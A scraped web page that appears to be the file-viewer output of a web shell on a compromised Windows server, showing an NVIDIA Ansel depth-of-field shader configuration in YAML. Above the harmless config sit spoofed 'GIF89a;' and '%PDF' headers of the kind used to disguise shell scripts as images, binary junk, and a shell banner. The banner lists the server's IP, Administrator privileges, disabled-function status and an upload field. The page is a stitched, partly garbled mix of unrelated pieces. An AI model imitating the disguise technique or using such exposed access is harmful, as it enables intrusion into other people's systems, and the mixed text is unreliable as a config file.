GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/ |
Upload File : |
pass_template: samplerstates: SamplerLinear: filter: MIN_MAG_MIP_LINEAR addressU: CLAMP addressV: CLAMP SamplerPoint: filter: MIN_MAG_MIP_POINT addressU: CLAMP addressV: CLAMP type: RGBA8_uint constant-buffers: globalParams: {screenSize: SCREEN_SIZE, captureState: CAPTURE_STATE, tileUV: TILE_UV_RANGE} controlBuf: {ui_fFocusDepth: focusSlider, ui_fFarBlurCurve : farblurcurveSlider, ui_fNearBlurCurve : nearblurcurveSlider, ui_fShapeRadius : blurradiusSlider, g_sldInvert: invSlider} typical_slider: type: float minimum-value: 0.0 maximum-value: 1.0 default-value: 0.0 ui-sticky-region: 0.01 ui-value-unit: "%" ui-value-min: 0 ui-value-max: 100 ui-value-step: 1.01 boolean_slider: type: bool default-value: 0 user-constants: - name: focusSlider ui-hint: "Use this to set the focus plane distance of the DoF effect." ui-hint-localized: cs-CZ: "Umožňuje nastavit vzdálenost ohniskové roviny efektu hloubky ostrosti." da-DK: "Brug denne til at indstille afstanden for fokusplanet på DoF-effekten. " de-DE: "Verwenden Sie diese Option zum Einstellen der Fokusfeldweite des Schärfentiefe-Effekts." el-GR: "Χρησιμοποιήστε το για να ορίσετε την απόσταση του επιπέδου εστίασης του εφέ βάθους πεδίου." en-UK: "Use this to set the focus plane distance of the DoF effect." es-ES: "Use esta opción para establecer la distancia de plano focal para el efecto profundidad de campo (DOF)." es-MX: "Utilice esta configuración para establecer la distancia del plano de foco del efecto de profundidad de campo (PDC)" fi-FI: "Käytä tätä asettaaksesi DoF-tehosteen tarkennustasoetäisyyden." fr-FR: "Cette option permet de paramétrer la distance de plan de la mise au point de l’effet de profondeur de champ." hu: "Ennek segítségével állítható be a mélységélesség effektus fókuszsíkjának távolsága." it-IT: "Usare questa funzione per impostare la distanza del piano di focalizzazione dell’effetto PdC." ja-JP: "これを使用して、DoF 効果のフォーカス面距離を設定します。" ko-KR: "DoF 효과의 플레인 거리에 초점을 설정하는 데 사용하십시오." nl-NL: "Gebruik dit om de afstand van het focusvlak van het scherptediepte-effect in te stellen." nb-NO: "Bruk denne til å angi fokusplanavstand for DoF-effekten." pl: "Służy do ustawiania obszaru ostrości efektu głębi ostrości." pt-PT: "Utilize esta definição para estabelecer a distância do plano de focagem do efeito PDC." pt-BR: "Use isto para definir a distância do plano de foco do efeito profundidade de campo." ru-RU: "Используйте этот параметр, чтобы задать дальность фокальной плоскости эффекта глубины резкости." sk-SK: "Toto nastavenie upravuje vzdialenosť roviny zaostrenia v efekte Hĺbka ostrosti." sl-SI: "Uporabite to za nastavitev razdalje goriščne ravnine učinka globine polja." sv-SE: "Använd denna för att ställa in fokusplandistans på FoD-effekten." th-TH: "ใช้สิ่งนี้ตั้งค่าระยะทางระนาบโฟกัสจากเอฟเฟกต์ของระยะชัดลึก" tr-TR: "Alan derinliği efektlerinin odak düzleminin mesafesini ayarlamak için bu seçeneği kullanın." zh-CHS: "使用此选项设置景深效果的焦平面距离。" zh-CHT: "使用此選項來設定景深效果的焦點平面距離。" ui-label: "Focus depth" ui-label-localized: cs-CZ: "Hloubka ostrosti" da-DK: "Fokusdybde" de-DE: "Fokustiefe" el-GR: "Βάθος εστίασης" en-UK: "Focus depth" es-ES: "Profundidad de enfoque" es-MX: "Profundidad de foco" fi-FI: "Tarkennuksen syvyys" fr-FR: "Profondeur de mise au point" hu: "Fókuszmélység" it-IT: "Profondità focalizzazione" ja-JP: "フォーカス深度" ko-KR: "초점 깊이" nl-NL: "Scherptediepte" nb-NO: "Fokusdybde" pl: "Głębia ostrości" pt-PT: "Profundidade de focagem" pt-BR: "Profundidade de foco" ru-RU: "Глубина фокуса" sk-SK: "Hĺbka zaostrenia" sl-SI: "Globina fokusa" sv-SE: "Fokusdjup" th-TH: "ระยะลึกของโฟกัส" tr-TR: "Odak derinliği" zh-CHS: "焦深" zh-CHT: "焦點深度" default-value: 0.5 import: [typical_slider] - name: farblurcurveSlider ui-hint: "Curve of blur behind focus plane." ui-hint-localized: cs-CZ: "Křivka rozostření za ohniskovou rovinou." da-DK: "Sløringskurve bag fokusplanet." de-DE: "Unschärfekurve hinter dem Fokusfeld." el-GR: "Καμπύλη του θολώματος πίσω από το επίπεδο εστίασης." en-UK: "Curve of blur behind focus plane." es-ES: "Curva de desenfoque por detrás del plano focal." es-MX: "Curva de desenfoque detrás del plano de foco." fi-FI: "Sumennuskäyrä tarkennustason takana." fr-FR: "Courbe de flou derrière le plan de mise au point." hu: "A fókuszsík mögötti homályossági görbe." it-IT: "Curva di sfocatura dietro il piano di focalizzazione." ja-JP: "フォーカス面の後ろのぼかしのカーブ。" ko-KR: "초점이 맞춰진 플레인 뒤에 있는 블러 곡선." nl-NL: "Boog van de vervaging achter het focusvlak." nb-NO: "Kurve for uskarphet bak fokusplan" pl: "Krzywa rozmycia za obszarem ostrości." pt-PT: "Curva de desfocagem atrás do plano de focagem." pt-BR: "Curva de desfoque atrás do plano de foco." ru-RU: "Кривая размытия за фокальной плоскостью" sk-SK: "Krivka rozostrenia za rovinou zaostrenia." sl-SI: "Krivulja zameglitve za goriščno ravnino." sv-SE: "Kurva för oskärpa bakom fokusplan" th-TH: "เส้นโค้งของภาพมัวหลังระนาบโฟกัส" tr-TR: "Odak düzleminin uzağında kalan bulanıklaştırma eğrisi." zh-CHS: "模糊曲线位于焦平面后。" zh-CHT: "在焦點平面之後的模糊曲線。" ui-label: "Far blur curve" ui-label-localized: cs-CZ: "Křivka vzdáleného rozostření" da-DK: "Sløringskurve langt væk" de-DE: "Unschärfekurve entfernt" el-GR: "Καμπύλη μακρινού θολώματος" en-UK: "Far blur curve" es-ES: "Curva de desenfoque lejana" es-MX: "Curva de desenfoque lejana" fi-FI: "Etäsumennuskäyrä" fr-FR: "Courbe de flou éloignée" hu: "Távoli homályossági görbe" it-IT: "Curva sfocatura distante" ja-JP: "遠景ぼかしカーブ" ko-KR: "멀리 있는 블러 곡선" nl-NL: "Vervagingsboog (veraf)" nb-NO: "Fjern uskarphetskurve" pl: "Krzywa dalekiego rozmycia" pt-PT: "Curva de desfocagem à distância." pt-BR: "Curva de desfoque distante" ru-RU: "Дальняя кривая размытия" sk-SK: "Vzdialená krivka rozostrenia" sl-SI: "Krivulja oddaljene zameglitve" sv-SE: "Kurva för lång oskärpa" th-TH: "เส้นโค้งพร่ามัวระยะไกล" tr-TR: "Uzak bulanıklaştırma eğrisi" zh-CHS: "远模糊曲线" zh-CHT: "遠端模糊曲線" default-value: 0.15 import: [typical_slider] - name: nearblurcurveSlider ui-hint: "Curve of blur closer than focus plane." ui-hint-localized: cs-CZ: "Křivka rozostření před ohniskovou rovinou." da-DK: "Sløringskurve tættere på end fokusplan." de-DE: "Unschärfekurve vor dem Fokusfeld." el-GR: "Καμπύλη του θολώματος πιο κοντά από το επίπεδο εστίασης." en-UK: "Curve of blur closer than focus plane." es-ES: "Curva de desenfoque por delante del plano focal." es-MX: "Curva de desenfoque más cerca que el plano de foco." fi-FI: "Sumennuskäyrä lähempänä kuin tarkennustaso." fr-FR: "Courbe de flou devant le plan de mise au point." hu: "A fókuszsíknál közelebbi homályossági görbe." it-IT: "Curva di sfocatura più vicina rispetto al piano di focalizzazione." ja-JP: "フォーカス面より近いぼかしのカーブ。" ko-KR: "초점이 맞춰진 플레인보다 가까운 블러 곡선." nl-NL: "Boog van de vervaging vóór het focusvlak." nb-NO: "Kurve for uskarphet nærmere enn fokusplan." pl: "Krzywa rozmycia przed obszarem ostrości." pt-PT: "Curva de desfocagem próxima do plano de focagem." pt-BR: "Curva de desfoque mais próximo do plano de foco." ru-RU: "Кривая размытия перед фокальной плоскостью" sk-SK: "Krivka rozostrenia bližšie ako rovina zaostrenia." sl-SI: "Krivulja zameglitve bližje kot goriščna ravnina." sv-SE: "Kurva för oskärpa närmare än fokusplan." th-TH: "เส้นโค้งของภาพมัวที่ใกล้กว่าระนาบโฟกัส" tr-TR: "Odak düzleminin yakınında kalan bulanıklaştırma eğrisi." zh-CHS: "模糊曲线比焦平面更接近。" zh-CHT: "比焦點平面更近的模糊曲線。" ui-label: "Near blur curve" ui-label-localized: cs-CZ: "Křivka blízkého rozostření" da-DK: "Sløringskurve tæt på" de-DE: "Unschärfekurve nah" el-GR: "Καμπύλη κοντινού θολώματος" en-UK: "Near blur curve" es-ES: "Curva de desenfoque cercana" es-MX: "Curva de desenfoque cercana" fi-FI: "Lähisumennuskäyrä" fr-FR: "Courbe de flou proche" hu: "Közeli homályossági görbe" it-IT: "Curva sfocatura vicina" ja-JP: "近景ぼかしカーブ" ko-KR: "블러 곡선" nl-NL: "Vervagingsboog (dichtbij)" nb-NO: "Nær uskarphetskurve" pl: "Krzywa bliskiego rozmycia" pt-PT: "Curva de desfocagem próxima." pt-BR: "Curva de desfoque próximo" ru-RU: "Ближняя кривая размытия" sk-SK: "Blízka krivka rozostrenia" sl-SI: "Krivulja bližnje zameglitve" sv-SE: "Kurva för kort oskärpa" th-TH: "เส้นโค้งพร่ามัวระยะใกล้" tr-TR: "Yakın bulanıklaştırma eğrisi" zh-CHS: "近模糊曲线" zh-CHT: "近端模糊曲線" default-value: 0.85 import: [typical_slider] - name: blurradiusSlider ui-hint: "Maximal blur radius." ui-hint-localized: cs-CZ: "Maximální poloměr rozostření." da-DK: "Maksimal sløringsradius." de-DE: "Maximaler Unschärferadius." el-GR: "Μέγιστη ακτίνα θολώματος." en-UK: "Maximal blur radius." es-ES: "Radio máximo de desenfoque." es-MX: "Radio de desenfoque máximo." fi-FI: "Sumennuksen enimmäissäde" fr-FR: "Rayon de flou maximal." hu: "A homályosság maximális sugara." it-IT: "Raggio sfocatura massimo" ja-JP: "最大ぼかし半径" ko-KR: "최대 블러 직경." nl-NL: "Maximaal vervagingsbereik." nb-NO: "Maksimal uskarphetsradius." pl: "Maksymalny promień rozmycia." pt-PT: "Raio de desfocagem máximo." pt-BR: "Raio de desfoque máximo." ru-RU: "Максимальный радиус размытия." sk-SK: "Maximálny dosah rozostrenia." sl-SI: "Radij maksimalne zameglitve" sv-SE: "Maximal radie för oskärpa." th-TH: "รัศมีความพร่ามัวสูงสุด" tr-TR: "Maksimum bulanıklaştırma yarıçapı." zh-CHS: "最大模糊半径。" zh-CHT: "最大模糊半徑。" ui-label: "Blur radius" ui-label-localized: cs-CZ: "Poloměr rozostření" da-DK: "Sløringsradius" de-DE: "Unschärferadius" el-GR: "Ακτίνα θολώματος" en-UK: "Blur radius" es-ES: "Radio de desenfoque" es-MX: "Radio de desenfoque" fi-FI: "Sumennuksen säde" fr-FR: "Rayon de flou" hu: "Homályosság sugara" it-IT: "Raggio sfocatura" ja-JP: "ぼかし半径" ko-KR: "블러 크기" nl-NL: "Vervagingsbereik" nb-NO: "Uskarphetsradius" pl: "Promień rozmycia" pt-PT: "Raio de desfocagem" pt-BR: "Raio de desfoque" ru-RU: "Радиус размытия" sk-SK: "Dosah rozostrenia" sl-SI: "Radij zameglitve" sv-SE: "Radie för oskärpa" th-TH: "รัศมีความพร่ามัว" tr-TR: "Bulanıklaştırma yarıçapı" zh-CHS: "模糊半径" zh-CHT: "模糊半徑" default-value: 0.5 import: [typical_slider] - name: invSlider ui-label: "Invert Depth" ui-label-localized: cs-CZ: "Převrátit hloubku" da-DK: "Invertér dybde" de-DE: "Tiefe umkehren" el-GR: "Αναστροφή βάθους" en-UK: "Invert Depth" es-ES: "Invertir profundidad" es-MX: "Invertir profundidad" fi-FI: "Käännä syvyys" fr-FR: "Inverser la profondeur" hu: "Mélység megfordítása" it-IT: "Inverti profondità" ja-JP: "深度を反転" ko-KR: "깊이 반전" nl-NL: "Diepte omkeren" nb-NO: "Omvend dybde" pl: "Odwróć głębię" pt-PT: "Inverter profundidade" pt-BR: "Inverter profundidade" ru-RU: "Инвертировать глубину" sk-SK: "Invertovať hĺbku" sl-SI: "Obrni globino" sv-SE: "Inverterat djup" th-TH: "กลับความลึก" tr-TR: "Derinliği Tersine Çevir" zh-CHS: "反转深度" zh-CHT: "反轉深度" import: [boolean_slider] coc2alpha: import: [pass_template] shader: PS_CoC2Alpha@DOF.yfx textures: texOriginalColor: channel: PIPE_INPUTS_COLOR texOriginalDepth: channel: PIPE_INPUTS_DEPTH bokehblur: import: [pass_template] shader: PS_Bokeh@DOF.yfx textures: texColorCoC: import: [coc2alpha] combine: import: [pass_template] shader: PS_Combine@DOF.yfx textures: texColorCoC: import: [bokehblur] texOriginalColor: channel: PIPE_INPUTS_COLOR texOriginalDepth: channel: PIPE_INPUTS_DEPTH gaussblurA: import: [pass_template] shader: PS_Gauss1@DOF.yfx textures: texColorCoC: import: [combine] main: import: [pass_template] shader: PS_Gauss2@DOF.yfx textures: texColorCoC: import: [gaussblurA]